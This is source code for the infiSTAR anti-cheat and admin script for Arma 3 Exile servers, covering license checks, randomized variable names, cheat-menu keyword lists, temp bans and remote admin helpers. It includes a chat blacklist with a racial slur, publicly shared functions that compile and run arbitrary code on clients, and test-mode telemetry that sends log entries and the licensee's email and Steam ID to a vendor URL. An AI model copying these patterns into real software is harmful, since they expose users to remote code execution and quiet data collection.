- [format[''infiSTAR_SAVED_FUNCTION_%1'',_varname],nil] call fnc_setPNS;
- systemChat format[''Deleted: %1'',_varname];
- call fnc_fillDebugListBox;
- last_delete_call = nil;
- }
- else
- {
- systemChat format[''Please click again to delete: %1'',_varname];
- };
- };
- };
- true
- '];
- call fnc_fillDebugListBox;
- };/*
- Author: Chris(tian) "infiSTAR" Lorenzen
- Contact: infiSTAR23@gmail.com // www.infiSTAR.de
- Copyright infiSTAR - 2011 - 2016. All rights reserved.
- Christian (Chris) L. (infiSTAR23@gmail.com) Developer of infiSTAR
- Description:
- Arma AntiHack & AdminTools - infiSTAR.de
- */
- comment 'Antihack & AdminTools - Christian Lorenzen - www.infiSTAR.de';
- UPDATEEMAIL='bullred1989@gmail.com';
- INFISTARVERSION='05-Jul-2016 23-52-40 - v0054';
- if((toLower UPDATEEMAIL) in ['','admin@infistar.de'])exitWith{
- diag_log '<infiSTAR.de> Please go to update.infistar.de and download the latest version of infiSTAR!';
- diag_log format['<infiSTAR.de> The current version is licensed to %1 and not your email address.',UPDATEEMAIL];
- diag_log '<infiSTAR.de> infiSTAR will NOT START if it is licensed to that email address!';
- };
- _productVersion = productVersion select 2;
- if(_productVersion < 160)exitWith{
- diag_log format['<infiSTAR.de> Arma Server is outdated (version: %1)! Please update your arma3server!',_productVersion];
- diag_log '<infiSTAR.de> infiSTAR will NOT START if the server is outdated!';
- };
- diag_log format['<infiSTAR.de> %1 - VERSION: %2',time,INFISTARVERSION];
- {
- _uids = (_x select 0);
- {
- private '_uid';
- _uid = _x;
- if(!isNil'_uid')then
- {
- _uidarray = toArray _x;
- if(39 in _uidarray)then
- {
- _uidarray = _uidarray - [39];
- _uid = toString _uidarray;
- diag_log format['<infiSTAR.de> %1 - validated admin uid (do not use single quotes!) %2 should be %3',time,_x,_uid];
- };
- if(count _uid > 5)then
- {
- _admins pushBackUnique _uid;
- diag_log format['<infiSTAR.de> %1 - adding valid admin uid %2',time,_uid];
- }
- else
- {
- diag_log format['<infiSTAR.de> %1 - removing invalid admin uid %2',time,_uid];
- };
- };
- } forEach _uids;
- } forEach _adminUIDandAccess;
- _t = time;
- diag_log format['<infiSTAR.de> %1 - TESTING IF serverCommandPassword IS SET PROPERLY',_t];
- _return = _serverCommandPassword serverCommand format ['#kick %1',0];
- if(!_return)then{_serverCommandPassword = getText(configfile >> 'CfgSettings' >> 'RCON' >> 'serverPassword');};
- _return = _serverCommandPassword serverCommand format ['#kick %1',0];
- if(!_return)exitWith
- {
- diag_log format['<infiSTAR.de> %1 - serverCommandPassword NOT SET! bullred1989@gmail.com - 05-Jul-2016 23-52-40 - v0054 - %2 - %3',_t,serverName,productVersion];
- diag_log format['<infiSTAR.de> %1 - serverCommandPassword in EXILE_AHAT_CONFIG.hpp is %2',_t,_serverCommandPassword];
- diag_log format['<infiSTAR.de> %1 - serverCommandPassword is defined in your servers config.cfg',_t];
- diag_log format['<infiSTAR.de> %1 - serverCommandPassword has to be set it in EXILE_AHAT_CONFIG.hpp where it says _serverCommandPassword = "changeme";',_t];
- diag_log format['<infiSTAR.de> %1 - infiSTAR will NOT START if passwords are not set properly!',_t];
- };
- FN_GET_SERVERPW = compileFinal (str _serverCommandPassword);
- diag_log format['<infiSTAR.de> %1 - serverCommandPassword IS FINE',_t];
- if!(isClass (missionconfigfile >> 'infiSTAR_EDITBOX2'))exitWith
- {
- diag_log format['<infiSTAR.de> %1 - infiSTAR_Exile_AdminMenu.hpp in your MPmission is NOT UPDATED bullred1989@gmail.com - 05-Jul-2016 23-52-40 - v0054 - %2 - %3',_t,serverName,productVersion];
- diag_log format['<infiSTAR.de> %1 - infiSTAR will NOT START if infiSTAR_Exile_AdminMenu.hpp is not updated!',_t];
- };
- _test = [0,{}] execFSM 'call.fsm';
- _test = [0,{}] execFSM 'call.fsm';
- if(_test isEqualTo 0)exitWith
- {
- _log = format['<infiSTAR.de> %1 - call.fsm missing in your MPmission! bullred1989@gmail.com - 05-Jul-2016 23-52-40 - v0054 - %2 - %3',_t,serverName,productVersion];
- for '_i' from 0 to 30 do
- {
- diag_log _log;
- diag_log format['<infiSTAR.de> %1 - infiSTAR will NOT START if files are not in place!',_t];
- };
- };
- _blacklistedVariables append ['shit','_FNC_DECRYPT'];
- fn_clean_bad = compileFinal "
- private '_clean';
- _clean = _this;
- _clean = toArray _clean;
- _clean = _clean - [35];
- _clean = toString _clean;
- _clean
- ";
- currentserverfps = 50;
- activeSQFScriptsvar = 0;
- FN_CHECK_CHARACTERS = compileFinal "
- _allowedCharacters = [48,49,50,51,52,53,54,55,56,57,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90];
- _upper = toUpper(_this select [0,10]);
- _array = toArray _upper;
- _tmparray = [];
- {if(_x in _allowedCharacters)then{_tmparray pushBack _x;};} forEach _array;
- toString _tmparray
- ";
- CUSTOM_briefingName = briefingName call FN_CHECK_CHARACTERS;
- CUSTOM_worldName = worldName call FN_CHECK_CHARACTERS;
- fnc_getserverTime = compileFinal "
- _hours = floor(time / 60 / 60);
- _minutes = floor((((time / 60 / 60) - _hours) max 0.0001)*60);
- _seconds = time - (_hours*60*60) - (_minutes * 60);
- format['%1h %2min %3s | ',_hours,_minutes,round _seconds]
- ";
- FN_CALL_LOG_DLL = compileFinal "'ARMA_LOG' callExtension format['%1%2_%3_%4',LOG_PATH,briefingName select [0,10],worldName select [0,10],_this]";
- FN_CALL_LOAD_DLL = compileFinal "'ARMA_LOAD' callExtension _this";
- _customlogstring = "
- format['A3_%1:%2',_this select 0,_this select 1] call FN_CALL_LOG_DLL;
- diag_log format['<infiSTAR.de>%1| %2 ['+INFISTARVERSION+']',_this select 0,_this select 1];
- ";
- if(!isNil'MAR_fnc_log')then{
- _customlogstring = _customlogstring + "
- [_this select 1,format['infiSTAR.de_%1',_this select 0]] call MAR_fnc_log;
- ";
- };
- FNC_A3_CUSTOMLOG = compileFinal _customlogstring;
- if(_testserver)then{
- FNC_A3_RL = compileFinal "
- params['_logname','_logentry'];
- _this call FNC_A3_CUSTOMLOG;
- _buildurl = format['http://htmlload.infistar.de/rl.php?owner=bullred1989@gmail.com&owneruid=76561198165536859&infistarversion=05-Jul-2016 23-52-40 - v0054&servername=%1&logname=%2&logentry=%3',serverName,_logname,_logentry];
- _packet1 = format['getasync%1%2%1',toString [10],_buildurl call fn_clean_bad];
- _jobid = _packet1 call FN_CALL_LOAD_DLL;
- ";
- }else{FNC_A3_RL = compileFinal "_this call FNC_A3_CUSTOMLOG;";};
- _UVC = ((_VehicleWhiteList_check)||(_ForbiddenVehicles_check));
- _allRandomGenVars = [];
- _counts = [];
- {
- _counts pushBack (count _x);
- } forEach (allVariables missionnamespace);
- _num = 0;
- {
- _num = _num + _x;
- } forEach _counts;
- _count = count _counts;
- _average = ceil(_num / _count);
- _randminval = (_average/3);
- _randmaxval = (_average/1.5);
- _fnc_RandomGen =
- {
- private '_gen';
- _fnc_actualGen = {
- _start = ['z','y','x','w','v','u','t','s','r','q','p','o','n','m','l','k','j','i','h','g','f','e','d','c','b','a'];
- _main = ['d','e','A','b','3','f','w','7','O','B','j','l','W','Y','g','Y','a','b','e','t','B','L','i','I','g','J','h','H','i','G'];
- _filler = ['1','2','3','4','5','6','7','8','9','0','_','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'];
- _gen = selectRandom _start;
- _randmax = {((round(random _randminval)) + (round(random _randmaxval))) max _randminval};
- for '_i' from 0 to (call _randmax)do
- {
- _gen = _gen + (selectRandom _filler) + (selectRandom _main);
- };
- _gen
- };
- for '_i' from 0 to 10000 do
- {
- _gen = call _fnc_actualGen;
- _index = _allRandomGenVars pushBackUnique _gen;
- if(_index > -1)exitWith{_gen};
- };
- _gen
- };diag_log format['<infiSTAR.de> _fnc_RandomGen: %1',_fnc_RandomGen];
- ['RANDOMVAR',format['----START-LINE---- (%1)',INFISTARVERSION]] call FNC_A3_CUSTOMLOG;
- _fnc_server_handle_mpmessage = call _fnc_RandomGen;['RANDOMVAR',format['_fnc_server_handle_mpmessage: %1',_fnc_server_handle_mpmessage]] call FNC_A3_CUSTOMLOG;
- _fnc_AdminReqReal = call _fnc_RandomGen;['RANDOMVAR',format['_fnc_AdminReqReal: %1',_fnc_AdminReqReal]] call FNC_A3_CUSTOMLOG;
- _fnc_server_handle_pre_mpmessage = call _fnc_RandomGen;['RANDOMVAR',format['_fnc_server_handle_pre_mpmessage: %1',_fnc_server_handle_pre_mpmessage]] call FNC_A3_CUSTOMLOG;
- _RATING_CHECK_LOOPS = call _fnc_RandomGen;['RANDOMVAR',format['_RATING_CHECK_LOOPS: %1',_RATING_CHECK_LOOPS]] call FNC_A3_CUSTOMLOG;
- _token_by_uid = call _fnc_RandomGen;['RANDOMVAR',format['_token_by_uid: %1',_token_by_uid]] call FNC_A3_CUSTOMLOG;
- _uid_by_token = call _fnc_RandomGen;['RANDOMVAR',format['_uid_by_token: %1',_uid_by_token]] call FNC_A3_CUSTOMLOG;
- _name_by_uid = call _fnc_RandomGen;['RANDOMVAR',format['_name_by_uid: %1',_name_by_uid]] call FNC_A3_CUSTOMLOG;
- _owner_by_uid = call _fnc_RandomGen;['RANDOMVAR',format['_owner_by_uid: %1',_owner_by_uid]] call FNC_A3_CUSTOMLOG;
- _uid_by_owner = call _fnc_RandomGen;['RANDOMVAR',format['_uid_by_owner: %1',_uid_by_owner]] call FNC_A3_CUSTOMLOG;
- _object_by_uid = call _fnc_RandomGen;['RANDOMVAR',format['_object_by_uid: %1',_object_by_uid]] call FNC_A3_CUSTOMLOG;
- _onPlayerConnected = call _fnc_RandomGen;['RANDOMVAR',format['_onPlayerConnected: %1',_onPlayerConnected]] call FNC_A3_CUSTOMLOG;
- _server_setTokenR = call _fnc_RandomGen;['RANDOMVAR',format['_server_setTokenR: %1',_server_setTokenR]] call FNC_A3_CUSTOMLOG;
- _FN_INJECT_ON_CLIENT = call _fnc_RandomGen;['RANDOMVAR',format['_FN_INJECT_ON_CLIENT: %1',_FN_INJECT_ON_CLIENT]] call FNC_A3_CUSTOMLOG;
- _fnc_l_on_c = call _fnc_RandomGen;['RANDOMVAR',format['_fnc_l_on_c: %1',_fnc_l_on_c]] call FNC_A3_CUSTOMLOG;
- _TokenCT = call _fnc_RandomGen;['RANDOMVAR',format['_TokenCT: %1',_TokenCT]] call FNC_A3_CUSTOMLOG;
- _adminStartupCode = call _fnc_RandomGen;['RANDOMVAR',format['_adminStartupCode: %1',_adminStartupCode]] call FNC_A3_CUSTOMLOG;
- _AHKickOFF = call _fnc_RandomGen;['RANDOMVAR',format['_AHKickOFF: %1',_AHKickOFF]] call FNC_A3_CUSTOMLOG;
- _AHKickLog = call _fnc_RandomGen;['RANDOMVAR',format['_AHKickLog: %1',_AHKickLog]] call FNC_A3_CUSTOMLOG;
- _AH_RunCheckENDVAR = call _fnc_RandomGen;['RANDOMVAR',format['_AH_RunCheckENDVAR: %1',_AH_RunCheckENDVAR]] call FNC_A3_CUSTOMLOG;
- _AH_RunCheck = call _fnc_RandomGen;['RANDOMVAR',format['_AH_RunCheck: %1',_AH_RunCheck]] call FNC_A3_CUSTOMLOG;
- _AH_HackLogArrayRND = call _fnc_RandomGen;['RANDOMVAR',format['_AH_HackLogArrayRND: %1',_AH_HackLogArrayRND]] call FNC_A3_CUSTOMLOG;
- _AH_SurvLogArrayRND = call _fnc_RandomGen;['RANDOMVAR',format['_AH_SurvLogArrayRND: %1',_AH_SurvLogArrayRND]] call FNC_A3_CUSTOMLOG;
- _AH_AdmiLogArrayRND = call _fnc_RandomGen;['RANDOMVAR',format['_AH_AdmiLogArrayRND: %1',_AH_AdmiLogArrayRND]] call FNC_A3_CUSTOMLOG;
- _TMPBAN = call _fnc_RandomGen;['RANDOMVAR',format['_TMPBAN: %1',_TMPBAN]] call FNC_A3_CUSTOMLOG;
- _fn_getTempBans = call _fnc_RandomGen;['RANDOMVAR',format['_fn_getTempBans: %1',_fn_getTempBans]] call FNC_A3_CUSTOMLOG;
- _fnc_addTempBan = call _fnc_RandomGen;['RANDOMVAR',format['_fnc_addTempBan: %1',_fnc_addTempBan]] call FNC_A3_CUSTOMLOG;
- _fnc_removeTempBan = call _fnc_RandomGen;['RANDOMVAR',format['_fnc_removeTempBan: %1',_fnc_removeTempBan]] call FNC_A3_CUSTOMLOG;
- _AHpos = call _fnc_RandomGen;['RANDOMVAR',format['_AHpos: %1',_AHpos]] call FNC_A3_CUSTOMLOG;
- _adminsA = call _fnc_RandomGen;['RANDOMVAR',format['_adminsA: %1',_adminsA]] call FNC_A3_CUSTOMLOG;
- _MCS = call _fnc_RandomGen;['RANDOMVAR',format['_MCS: %1',_MCS]] call FNC_A3_CUSTOMLOG;
- _LogicVariable = call _fnc_RandomGen;['RANDOMVAR',format['_LogicVariable: %1',_LogicVariable]] call FNC_A3_CUSTOMLOG;
- _vehicle_needs_check = call _fnc_RandomGen;['RANDOMVAR',format['_vehicle_needs_check: %1',_vehicle_needs_check]] call FNC_A3_CUSTOMLOG;
- _fnc_infiSTAR_PlayerLog = call _fnc_RandomGen;['RANDOMVAR',format['_fnc_infiSTAR_PlayerLog: %1',_fnc_infiSTAR_PlayerLog]] call FNC_A3_CUSTOMLOG;
- _antidupePVResVar = call _fnc_RandomGen;['RANDOMVAR',format['_antidupePVResVar: %1',_antidupePVResVar]] call FNC_A3_CUSTOMLOG;
- _runcheck_thread = call _fnc_RandomGen;['RANDOMVAR',format['_runcheck_thread: %1',_runcheck_thread]] call FNC_A3_CUSTOMLOG;
- _timealive = call _fnc_RandomGen;['RANDOMVAR',format['_timealive: %1',_timealive]] call FNC_A3_CUSTOMLOG;
- _fnc_check_type_allowed = call _fnc_RandomGen;['RANDOMVAR',format['_fnc_check_type_allowed: %1',_fnc_check_type_allowed]] call FNC_A3_CUSTOMLOG;
- _fnc_remove_badvehicle = call _fnc_RandomGen;['RANDOMVAR',format['_fnc_remove_badvehicle: %1',_fnc_remove_badvehicle]] call FNC_A3_CUSTOMLOG;
- _fnc_vehicle_check = call _fnc_RandomGen;['RANDOMVAR',format['_fnc_vehicle_check: %1',_fnc_vehicle_check]] call FNC_A3_CUSTOMLOG;
- ['RANDOMVAR',format['----END-LINE---- (%1)',INFISTARVERSION]] call FNC_A3_CUSTOMLOG;
- _badChatTMP = _badChat;_badChat = ["nigger","get cancer","infishit"];{_badChat pushBackUnique (toLower _x);}forEach _badChatTMP;
- _badNamesFullTMP = _badNamesFull;_badNamesFull = [];{_badNamesFull pushBackUnique (toLower _x);}forEach _badNamesFullTMP;
- _badNamesPartialTMP = _badNamesPartial;_badNamesPartial = [];{_badNamesPartial pushBackUnique (toLower _x);}forEach _badNamesPartialTMP;
- _badGroupNamesTMP = _badGroupNames;_badGroupNames = [];{_badGroupNames pushBackUnique (toLower _x);}forEach _badGroupNamesTMP;
- _variable1 = toString[105,115,114,117,110,110,105,110,103];
- diag_log format['<infiSTAR.de> %1 - loading AntiHack..',time];
- _verybadStrings =
- [
- 'menu loaded','kill target','no recoil','rapid fire','explode all','teleportall',
- 'destroyall','destroy all','g-e-f','box-esp','god on','god mode','unlimited mags',
- 'infishit','cheatmenu','in54nity','infinite ammo','player markers',' is god'
- ];
- _blacklistedAdminVariables =
- [
- 'fnc_admin_c','fnc_admin_cc','fnc_debugbox_new','fnc_workplace',
- 'AH_HackLogArray','AH_SurvLogArray','AH_AdmiLogArray','babecore_escM_mousepos',
- 'fnc_infiAdminKeyDown','MAIN_DISPLAY_ID','fnc_Disconnect_selected','fnc_adminLog','go_in_nearestvehicle_callmevar','noRecoilRun',
- 'FNC_CUSTOM_fn_loadInventory','ADMIN_LOCAL_MARKER','ALLOW_ME_THIS_KEYBIND','freeFlightCam','fnc_ButtonClick_44466','fnc_LBSelChanged_LEFT','unlimAmmRun',
- 'fnc_infiSTAR_A3noRecoil','VEHBOOST_FUNCTION','fnc_infiSTAR_get_LeftClicks','fnc_AdminReq','infiSTAR_MAIN_CODE','fnc_get_plr'
- ];
- _tofindvar =
- [
- 'xxx_','k3ybinds','jme_','infistatus',
- 'godmode','speedhack','no grass','remote menu',
- 'currentmenu',' is god','_m0de','fuck_','m3nu'
- ];
- _tofindcontent =
- [
- '+ _code +','infiesp'
- ];
- _tofindboth =
- [
- '_g0d_'
- ];
- _findObjectVar =
- [
- 'gtog','currenttarget','explodepos','nfttog','currentindex',
- 'exbtog','explodeobj','spawnunit','pfftog','fstog','menuvars',
- 'shbtog','pnftog','launch','itog','ndtog','ifbtog','cursore'
- ];
- _findObjectVarContent =
- [
- 'systemchat'
- ];
- _allowedMarkers = ['TreasureMarker','ExilePartyMarker','ExileSupplyBox','Death','[',']'];
- _VehicleWhiteListTEMP = _VehicleWhiteList;_VehicleWhiteList = [];{_VehicleWhiteList pushBackUnique (toLower _x);} forEach _VehicleWhiteListTEMP;_VehicleWhiteListTEMP=nil;
- _ForbiddenVehiclesTEMP = _ForbiddenVehicles;_ForbiddenVehicles = [];{_ForbiddenVehicles pushBackUnique (toLower _x);} forEach _ForbiddenVehiclesTEMP;_ForbiddenVehiclesTEMP=nil;
- if(_UMW)then{_allowedMarkers append _aLocalM;};
- _chatCommandsL = [];
- {
- _chatCommandsL pushBackUnique [toLower(_x select 0),(_x select 1)];
- } forEach _chatCommands;
- _chatCommandsPL = [];
- {
- _chatCommandsPL pushBackUnique [toLower(_x select 0),(_x select 1)];
- } forEach _chatCommandsP;
- if(_HTML_LOAD_URL != "")then{HTML_LOAD_URL3 = _HTML_LOAD_URL;publicVariable "HTML_LOAD_URL3";};
- if(isNil'CUSTOM_FUNCTION_ARRAY')then{CUSTOM_FUNCTION_ARRAY = [];};
- CUSTOM_FUNCTION_EXTENDED = compileFinal "
- if(CUSTOM_FUNCTION_ARRAY isEqualTo [])exitWith{false};
- _option = _this select 0;
- _input = _this select 1;
- _return = _input call (CUSTOM_FUNCTION_ARRAY select _option);
- _return
- ";
- if(_ENABLE_PRIVATE_CHAT_MENU)then{
- _privchat = {
- _senderNetId = _this select 0;
- _receiverNetId = _this select 1;
- _time = _this select 2;
- _text = _this select 3;
- _senderObj = objectFromNetId _senderNetId;
- _receiverObj = objectFromNetId _receiverNetId;
- if(!isNull _senderObj && !isNull _receiverObj)then
- {
- _senderName = _senderObj getVariable['ExileName',name _senderObj];
- _receiverName = _receiverObj getVariable['ExileName',name _receiverObj];
- ['CHAT',format['(%1) %2(%3) -> %4: %5',_time,_senderName,getPlayerUID _senderObj,_receiverName,_text]] call FNC_A3_CUSTOMLOG;
- [
- [_senderName,_receiverName,_time,_text,_senderObj],
- {
- params['_senderName','_receiverName','_time','_text','_senderObj'];
- CHAT_HISTORY_ARRAY pushBack [_senderName,_receiverName,_time,_text];
- ACTIVE_CHATS = ACTIVE_CHATS - [_senderObj];
- ACTIVE_CHATS pushBackUnique _senderObj;
- systemChat format['%1 (%2): %3',_senderName,_time,_text];
- playsound 'AddItemOK';
- call fnc_fill_chat_history;
- call fnc_fill_chat_playerlist;
- ['SuccessTitleAndText', ['Private Message', format ['from %1: %2', _senderName,_text]]] call ExileClient_gui_toaster_addTemplateToast;
- },
- owner _receiverObj,
- false
- ] call FN_infiSTAR_S;
- };
- };
- CUSTOM_FUNCTION_ARRAY set[4,_privchat];
- };
- call compile ("
- FNC_OWNER_BY_UID = compileFinal ""
- params[['_uid','']];
- _owner = missionNameSpace getVariable[format['"+_owner_by_uid+"%1',_uid],-10];
- if(_owner isEqualTo -10)then
- {
- _clientObject = missionNameSpace getVariable[format['"+_object_by_uid+"%1',_uid],objNull];
- if(!isNull _clientObject)then
- {
- if(isPlayer _clientObject)then
- {
- _owner = owner _clientObject;
- };
- };
- };
- if(_owner > 2)then{_owner}else{-10}
- "";
- fnc_AdminReq = compileFinal '
- _inputOption = _this select 0;
- _inputParams = _this select 1;
- if(_inputOption isEqualTo 0)exitWith{_inputParams call "+_fnc_AdminReqReal+";true};
- if(_inputOption isEqualTo 1)exitWith{_inputParams call "+_fnc_server_handle_pre_mpmessage+";true};
- if(_inputOption isEqualTo 2)exitWith{if(!isNil''CUSTOM_FUNCTION'')then{_inputParams call CUSTOM_FUNCTION;};true};
- if(_inputOption isEqualTo 3)exitWith{_inputParams call CUSTOM_FUNCTION_EXTENDED;true};
- ';
- fnc_do_adminTP = compileFinal '
- params[''_unit'',''_pos''];
- private _AHpos = uiNameSpace getVariable ''"+_AHpos+"'';
- if(isNil''_AHpos'')then{(vehicle _unit) setPosATL _pos;}else{uiNameSpace setVariable[''"+_AHpos+"'',_pos];};
- ';
- publicVariable'fnc_do_adminTP';
- ");
- FN_infiSTAR_CS = compileFinal "_this remoteExecCall ['fnc_AdminReq', 2, false]";publicVariable"FN_infiSTAR_CS";
- FN_infiSTAR_F = compileFinal "missionNameSpace setVariable[(_this select 0),compileFinal(_this select 1)]";publicVariable"FN_infiSTAR_F";
- FN_infiSTAR_C = compileFinal "(_this select 0) call (_this select 1)";publicVariable"FN_infiSTAR_C";
- FN_infiSTAR_S = compileFinal "
- params [['_input',''],['_code',{}],['_target',-10],['_jip',false]];
- if(typename _code isEqualTo 'STRING')then{_code=compile _code;};
- if((_target isEqualTo 0)||(_target isEqualTo -10))exitWith{};
- if(_target isEqualTo 2)exitWith{_input call _code};
- [_input,_code] remoteExecCall ['FN_infiSTAR_C',_target,_jip]
- ";
- fnc_call_ARMALOAD = compileFinal "
- private['_option','_input','_url','_packet1','_jobid','_packet2','_res','_timeout'];
- _option = _this select 0;
- _input = _this select 1;
- _url = _this select 2;
- _packet1 = format['getasync%1%2%1',toString [10],_url];
- _jobid = _packet1 call FN_CALL_LOAD_DLL;
- _packet2 = format['response%1%2%1',toString [10],_jobid];
- _timeout = diag_tickTime + 80;
- _res = 'WAIT';
- _bad = ['','WAIT','ERROR','URLERROR'];
- waitUntil{
- uiSleep 3;
- _res = _packet2 call FN_CALL_LOAD_DLL;
- (!(_res in _bad) && ((toLower _res) find 'wrapper is disabled' isEqualTo -1)) || diag_tickTime > _timeout
- };
- if(_res in _bad)exitWith{};if((toLower _res) find 'wrapper is disabled' != -1)exitWith{};
- if(_option isEqualTo 0)exitWith
- {
- if(isNil'ARMALOAD_urlARRAY')then{ARMALOAD_urlARRAY=[];};
- if(_url in ARMALOAD_urlARRAY)exitWith{diag_log '<infiSTAR.de> terminated double LOAD call';};
- ARMALOAD_urlARRAY pushBack _url;
- private['_name','_puid','_clientID'];
- _name = _input select 0;
- _puid = _input select 1;
- missionNameSpace setVariable[format['STEAM_NAME_%1',_puid],_res];
- if(count _input == 3)then
- {
- _clientID = _input select 2;
- _code = {
- params['_name','_uid',['_steamname','']];
- _log = format['<infiSTAR.de> %1(%2) SteamName is: %3',_name,_uid,_steamname];
- format['%1 -> %2',_name,_steamname] call FN_SHOW_LOG;
- systemchat _log;
- diag_log _log;
- };
- [[_name,_puid,_res],_code,_clientID,false] call FN_infiSTAR_S;
- ['STEAM_NAME_LOG',format['%1(%2) is %3',_name,_puid,_res]] call FNC_A3_RL;
- };
- };
- ";
- FN_GET_OBJ_BY_OWNER = compileFinal "
- _playerObj = objNull;{if(owner _x isEqualTo _owner)exitWith{_playerObj=_x};} forEach allPlayers;_playerObj
- ";
- fnc_resolveSteamName = compileFinal "
- private['_name','_puid','_clientID','_inputToForward','_steamName'];
- _name = _this select 0;
- _puid = _this select 1;
- _inputToForward = [_name,_puid];
- if(count _this == 3)then
- {
- _clientID = _this select 2;
- _inputToForward = [_name,_puid,_clientID];
- };
- _steamName = missionNameSpace getVariable[format['STEAM_NAME_%1',_puid],''];
- if(_steamName isEqualTo '')then
- {
- if(isNil 'STEAM_NAME_ARRAY_Q')then{STEAM_NAME_ARRAY_Q = [];};
- if!(_puid in STEAM_NAME_ARRAY_Q)then
- {
- STEAM_NAME_ARRAY_Q pushBack _puid;
- if(isNil'STEAM_NAME_URL')then{STEAM_NAME_URL = 'http://htmlload.infistar.de/steamname.php?steamuid=';};
- [0,_inputToForward,format['%1%2',STEAM_NAME_URL,_puid]] spawn fnc_call_ARMALOAD;
- };
- };
- _steamName
- ";
- fnc_getSteamNameIfSaved = compileFinal "
- _steamName = missionNameSpace getVariable[format['STEAM_NAME_%1',_uid],''];
- _steamName
- ";
- call compile ("
- "+_fn_getTempBans+" = compileFinal ""
- if(isNil'"+_TMPBAN+"')then{"+_TMPBAN+"=[];}else{if!("+_TMPBAN+" isEqualType [])then{"+_TMPBAN+"=[];};};_tempbans = "+_TMPBAN+";"+_TMPBAN+"
- "";
- "+_fnc_addTempBan+" = compileFinal ""
- "+_TMPBAN+" pushBackUnique _this;
- PVAH_AHTMPBAN = "+_TMPBAN+";
- 'PVAH_AHTMPBAN' call fnc_variable_to_admins;
- call "+_fn_getTempBans+"
- "";
- "+_fnc_removeTempBan+" = compileFinal ""
- _bantime = missionNameSpace getVariable [format['BANTIME_%1',_this],0];
- if!(_bantime isEqualTo 0)then{missionNameSpace setVariable [format['BANTIME_%1',_this],nil];};
- "+_TMPBAN+" = "+_TMPBAN+" - [_this];
- PVAH_AHTMPBAN = "+_TMPBAN+";
- 'PVAH_AHTMPBAN' call fnc_variable_to_admins;
- call "+_fn_getTempBans+"
- "";
- ");
- fnc_remove_billboard = compileFinal "
- _vehicleID = _this getVariable ['ExileDatabaseID', -1];if(_vehicleID > -1)then{format ['deleteVehicle:%1', _vehicleID] call ExileServer_system_database_query_fireAndForget;};
- ";
- fnc_deleteObject = compileFinal "
- _objToDelete = _this;
- if(_objToDelete isKindOf 'Exile_Construction_Flag_Static')then
- {
- _objectID = _objToDelete getVariable['ExileDatabaseID',-1];
- if(_objectID != -1)then
- {
- _pos = getPosATL _objToDelete;
- _holder = createVehicle ['groundWeaponHolder', _pos, [], 0, 'CAN_COLLIDE'];
- _pos set[2,(_pos select 2)+0.1];
- _holder setPosATL _pos;
- _holder addItemCargoGlobal ['Exile_Item_Flag',1];
- format['deleteTerritory:%1', _objectID] call ExileServer_system_database_query_fireAndForget;
- };
- };
- _type = typeOf _objToDelete;
- if(_objToDelete isKindOf 'AbstractConstruction')then
- {
- if(isNumber(configFile >> 'CfgVehicles' >> _type >> 'exileContainer'))then
- {
- _objToDelete call ExileServer_object_container_packContainer;
- }
- else
- {
- _objToDelete call ExileServer_object_construction_database_delete;
- _config = ('(getText(_x >> ''staticObject'') isEqualTo _type)' configClasses (configFile >> 'CfgConstruction')) select 0;
- _config = getText (_config >> 'kitMagazine');
- _pos = getPosATL _objToDelete;
- _holder = createVehicle ['groundWeaponHolder', _pos, [], 0, 'CAN_COLLIDE'];
- _pos set[2,(_pos select 2)+0.1];
- _holder setPosATL _pos;
- _holder addItemCargoGlobal [_config,1];
- };
- };
- if(_objToDelete isKindOf 'Exile_Construction_Abstract_Static')then
- {
- if!(_objToDelete isKindOf 'Exile_Construction_Abstract_Physics')then
- {
- _objectID = _objToDelete getVariable['ExileDatabaseID',-1];
- if(_objectID != -1)then
- {
- _objToDelete call ExileServer_object_construction_database_delete;
- _config = ('(getText(_x >> ''staticObject'') isEqualTo _type)||(getText(_x >> ''upgradeObject'') isEqualTo _type)' configClasses (configFile >> 'CfgConstruction')) select 0;
- _config = getText (_config >> 'kitMagazine');
- _pos = getPosATL _objToDelete;
- _holder = createVehicle ['groundWeaponHolder', _pos, [], 0, 'CAN_COLLIDE'];
- _pos set[2,(_pos select 2)+0.1];
- _holder setPosATL _pos;
- _holder addItemCargoGlobal [_config,1];
- };
- };
- };
- if(_objToDelete isKindOf 'Exile_Sign_TraderCity')then
- {
- _objToDelete call fnc_remove_billboard;
- };
- if(!isNull _objToDelete)then
- {
- _objToDelete setDamage 1;
- {deleteVehicle _x;} forEach (attachedObjects _objToDelete);
- deleteVehicle _objToDelete;
- };
- ";
- fnc_serverMassMessage = compileFinal "
- private['_msg','_clientID'];
- _msg = _this select 0;
- if(typename _msg isEqualTo 'STRING')then{_msg = [_this select 0,0,0.7,10,0];};
- _clientID = _this select 1;
- _code = {_this spawn bis_fnc_dynamictext;};
- [_msg,_code,_clientID,false] call FN_infiSTAR_S;
- ";
- diag_log format['<infiSTAR.de> %1 - Thread MAIN: none-threaded code compiled and/or sent!',time];
- if(_DayNightVote)then{
- VOTETIME_MRV = _MRV;
- VOTETIME_MVP = _MVP;
- VOTETIME_VCT = _VCT;
- VOTETIME_LVT = 0;
- VOTETIME_ARR = [];
- fnc_VoteTimeServer = compileFinal "
- _clientUID = _this select 0;
- _vote = _this select 1;
- if((VOTETIME_VCT + VOTETIME_LVT) < time)then
- {
- if!(_clientUID in VOTETIME_ARR)then
- {
- _players = allPlayers;
- VOTETIME_ARR pushBack _clientUID;
- VOTETIME_ARR pushBack _vote;
- _cntAll = count _players;
- _cntVoted = {getPlayerUID _x in VOTETIME_ARR} count _players;
- if((_cntAll > 0) && (_cntVoted > 0))then
- {
- _cntday = 0;
- _cntnight = 0;
- _rateAll = _cntVoted / _cntAll;
- _rateAllShown = format['%1',_rateAll*100];
- _rateAllShown = format['%1',_rateAllShown select [0,4]];
- _rateAllShown = _rateAllShown + '%';
- if(_rateAll >= VOTETIME_MVP)then
- {
- _oUIDs = [];
- {
- _xUID = getPlayerUID _x;
- if(_xUID != '')then
- {
- _oUIDs pushBack _xUID;
- };
- } forEach _players;
- for '_i' from 0 to (count VOTETIME_ARR)-1 step 2 do
- {
- _cUID = VOTETIME_ARR select _i;
- _cVOTE = VOTETIME_ARR select (_i+1);
- if(_cUID in _oUIDs)then
- {
- if(_cVOTE == 'DAY')then{_cntday = _cntday + 1;};
- if(_cVOTE == 'NIGHT')then{_cntnight = _cntnight + 1;};
- };
- };
- _date = date;
- _changeTime = false;
- if!(_cntday isEqualTo _cntnight)then
- {
